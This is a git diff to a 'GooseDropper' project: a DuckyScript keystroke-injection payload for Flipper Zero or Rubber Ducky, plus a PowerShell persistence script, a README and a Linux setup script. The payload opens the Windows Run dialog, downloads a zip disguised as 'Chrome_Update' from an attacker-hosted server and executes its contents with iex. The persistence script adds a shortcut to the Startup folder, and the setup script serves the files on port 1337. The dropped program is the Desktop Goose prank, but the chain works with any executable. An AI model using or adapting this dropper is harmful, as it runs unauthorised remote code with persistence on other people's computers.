diff --git a/Duckyscripts/GooseDropper/GooseDropper.txt b/Duckyscripts/GooseDropper/GooseDropper.txt index 6a7cfce..e1c50d2 100644 --- a/Duckyscripts/GooseDropper/GooseDropper.txt +++ b/Duckyscripts/GooseDropper/GooseDropper.txt @@ -4,15 +4,20 @@ REM DESCRIPTION Grab the Desktop Goose executable from an attacker machine and r DELAY 500 GUI r DELAY 500 -STRING powershell wget YOUR_IP:1337/update.zip -OutFile $ENV:Temp/Updater.zip +STRING powershell wget YOUR_IP:1337/Chrome_Update.zip -OutFile $ENV:Temp/Update.zip ENTER -DELAY 5000 +DELAY 8000 GUI r DELAY 500 -STRING powershell Expand-Archive $ENV:Temp\Updater.zip -DestinationPath $ENV:Temp\Chrome_Update +STRING powershell Expand-Archive $ENV:Temp\Update.zip -DestinationPath $ENV:Temp\Chrome_Update ENTER DELAY 3000 GUI r DELAY 500 +STRING powershell gc $env:Temp\Chrome_Update\Update\PersistentGoose.ps1 | iex +ENTER +DELAY 1000 +GUI r +DELAY 500 STRING %Temp%\Chrome_Update\Update\GooseDesktop.exe ENTER diff --git a/Duckyscripts/GooseDropper/PersistentGoose.ps1 b/Duckyscripts/GooseDropper/PersistentGoose.ps1 new file mode 100644 index 0000000..94e731b --- /dev/null +++ b/Duckyscripts/GooseDropper/PersistentGoose.ps1 @@ -0,0 +1,6 @@ +$WScriptShell = New-Object -ComObject WScript.Shell +$TargetFile = "$env:Temp\Chrome_Update\Update\GooseDesktop.exe" +$ShortcutFile = "C:\Users\$env:UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HONK.lnk" +$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile) +$Shortcut.TargetPath = $TargetFile +$Shortcut.Save() \ No newline at end of file diff --git a/Duckyscripts/GooseDropper/README.md b/Duckyscripts/GooseDropper/README.md index 917597e..4f85e88 100644 --- a/Duckyscripts/GooseDropper/README.md +++ b/Duckyscripts/GooseDropper/README.md @@ -1,27 +1,33 @@ -**======= Goose Dropper ========** +**======= Goose Dropper v2.0 ========** -This is a duckyscript originally designed for Flipper-Zero to drop Desktop Goose on a Windows PC. +This is a duckyscript originally designed for Flipper-Zero to drop Desktop Goose (by Samperson) on a Windows PC. **NOW WITH PERSISTENCE** + +------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------ Currently there is no auto-configurator for Windows but it's in the works. Steps to configure manually: - 1) Replace the YOUR_IP value in GooseDropper.txt with your IP + 1) Replace the YOUR_IP value in GooseDropper.txt with your IP. - 2) Download Desktop Goose and extract it, rename the DesktopGoose v.031 from inside the zip to Update + 2) Download Desktop Goose and extract it, rename the 'DesktopGoose v.031' folder from inside the zip to Update. + + 3) Copy PersistentGoose.ps1 into the newly renamed Update folder. - 3) Re-ZIP the Update directory and name it Chrome_Updater.txt + 4) Re-ZIP the Update directory and name it Chrome_Updater. - 4) Start some form of simple webserver/fileshare on port 1337 + 5) Start some form of simple webserver/fileshare on port 1337 (or change the port to reflect your choice). - 5) Copy to your Flipper or Rubber-Ducky and PWN! + 6) Copy to your Flipper or Rubber-Ducky and PWN! -------------------------------------------------------------------------------------------------------------- - **Important Notes:** -Ensure configuration is run while on the same network as your target, re-configure with each new network. - -Currently a reboot will kill the process, however persistance is being worked on. +Ensure configuration is run while on the same network as your target, re-configure with each new network, unless the download location provided is publicly accessible. All credit goes to Samperson for the development of Desktop Goose: https://itch.io/profile/samperson | https://twitter.com/samnchiet + +**=== v2.0 Notes ==** + Added persistence via a PowerShell script that makes a shortcut in the startup folder. + Revamped updater with more options and better dialogue. + Bugfixes to ensure payloads get delivered successfully. diff --git a/Duckyscripts/GooseDropper/linux_setup.sh b/Duckyscripts/GooseDropper/linux_setup.sh index 55da368..0782277 100644 --- a/Duckyscripts/GooseDropper/linux_setup.sh +++ b/Duckyscripts/GooseDropper/linux_setup.sh @@ -1,15 +1,44 @@ #!/bin/bash -#Grab your local IP to add to the payload -SRC="$(ip route show | grep default | cut -d ' ' -f 9)" +#Determine the source of the DesktopGoose download +echo "1) Local Webserver | 2) Persistant URL" + +read -p "Select a download source [1/2]: " DL + +if [ "${DL}" == "1" ]; +then + echo "Grabbing your IP" + + #Grab your local IP to add to the payload + SRC="$(ip route show | grep default | cut -d ' ' -f 9)" + + #Add your IP to the payload + sed -i "s/YOUR_IP/$SRC/" GooseDropper.txt + + sleep 5s && clear + +elif [ "${DL}" == "2" ]; +then + #Get your URL + read -p "Enter your URL: " SRC + + #Add your URL to the payload + sed -i "s/powershell wget YOUR_IP:1337\/Chrome_Update.zip -OutFile \$ENV:Temp\/Updater.zip/powershell \"wget \'$SRC\' -OutFile \$ENV:Temp\/Updater.zip\"/" GooseDropper.txt + + #Remind users to have the zip ready + echo "Please ensure a ZIP file with proper contents and formatting is hosted at the provided URL" + + sleep 5s && clear + +else + echo "Please enter a valid selection" + exit + +fi #Check if Desktop Goose is present in this directory GOOSE="$(ls | grep 'Desktop Goose v0.31.zip')" -#Add the IP to the payload -sed -i "s/YOUR_IP/$SRC/" GooseDroper.txt - -#Check if [ "${GOOSE}" == "" ]; then echo "Desktop Goose is not present in this directory, download it, or move it here" @@ -18,16 +47,36 @@ then else unzip "Desktop Goose v0.31.zip" mv "Desktop Goose v0.31/DesktopGoose v0.31" Update + mv PersistentGoose.ps1 Update/ zip -r Chrome_Update.zip Update rm -rf "Desktop Goose v0.31"* Update - read -p "Configuration finished! Start python webserver now? [Y/N]" START + clear fi +read -p "Configure Persistence? [Y/N]: " PERSIST + +if [ "${PERSIST,,}" == "n" ]; +then + sed -i "15d;16d;17d;18d;19d" GooseDropper.txt +else + break +fi + +if [ "${DL}" == "1" ]; +then + clear + read -p "Configuration finished! Start python webserver now? [Y/N]: " START + clear +else + clear + break +fi if [ "${START,,}" == "y" ]; then + echo "Starting Server... Happy PWNing! (don't be a skid)" python3 -m http.server 1337 && echo "PWNED!" else clear - echo "Server not started, thank you!" + echo "Finished... Happy PWNing! (don't be a skid)!" fi